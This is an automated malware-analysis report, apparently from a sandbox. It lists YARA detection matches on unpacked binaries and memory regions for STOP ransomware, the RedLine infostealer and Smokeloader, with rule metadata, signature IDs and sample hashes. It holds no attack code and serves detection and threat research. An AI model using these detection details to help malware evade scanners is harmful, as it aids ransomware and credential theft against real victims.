Source: 25.0.5999.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.37F1.exe.5f55530.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.4a8a18e.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.4b70000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.4a8b076.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.2.5999.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.2.5999.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.2.5999.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.2.5999.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.2.5999.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.2.5999.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001E.00000000.510855251.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001E.00000002.539352220.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000000.426588359.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000E.00000000.432265249.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000B.00000002.505257421.00000000007A8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.473163211.00000000022D7000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.357053208.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000002.512998427.0000000000968000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000000.507812417.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000003.417269957.0000000004910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000F.00000000.430084061.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.356833950.0000000000841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000E.00000002.468874148.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000002.356673245.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000B.00000002.504789684.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.444525144.0000000000889000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001E.00000000.508110815.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000000.427534356.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001E.00000000.510353848.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000F.00000002.466699994.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000D.00000002.442880266.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000E.00000002.469202987.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.540527249.0000000002E46000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000000.430570444.0000000000819000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000000.434348709.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000000.426731802.0000000000819000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000002.466941491.0000000000819000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000014.00000000.415949040.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
